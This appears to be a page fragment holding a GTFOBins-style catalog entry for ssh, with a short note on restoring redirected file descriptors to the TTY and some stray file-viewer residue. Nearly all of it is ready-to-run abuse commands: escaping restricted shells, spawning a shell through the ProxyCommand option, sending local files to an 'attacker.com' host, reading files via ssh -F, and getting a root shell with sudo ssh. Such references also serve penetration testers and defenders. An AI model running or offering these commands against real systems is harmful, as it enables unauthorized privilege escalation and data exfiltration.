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Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
31 lines
1002 B
Markdown
31 lines
1002 B
Markdown
---
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functions:
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execute-interactive:
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- description: Reconnecting may help bypassing restricted shells.
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code: ssh localhost $SHELL --noprofile --norc
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- description: Spawn interactive shell through ProxyCommand option.
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code: ssh -o ProxyCommand=';sh 0<&2 1>&2' x
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upload:
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- description: Send local file to a SSH server.
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code: |
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HOST=user@attacker.com
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RPATH=file_to_save
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LPATH=file_to_send
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ssh $HOST "cat > $RPATH" < $LPATH
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download:
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- description: Fetch a remote file from a SSH server.
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code: |
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HOST=user@attacker.com
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RPATH=file_to_get
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LPATH=file_to_save
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ssh $HOST "cat $RPATH" > $LPATH
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file-read:
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- description: The read file content is corrupted by error prints.
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code: |
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LFILE=file_to_read
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ssh -F $LFILE localhost
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sudo-enabled:
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- description: Spawn interactive root shell through ProxyCommand option.
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code: sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
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---
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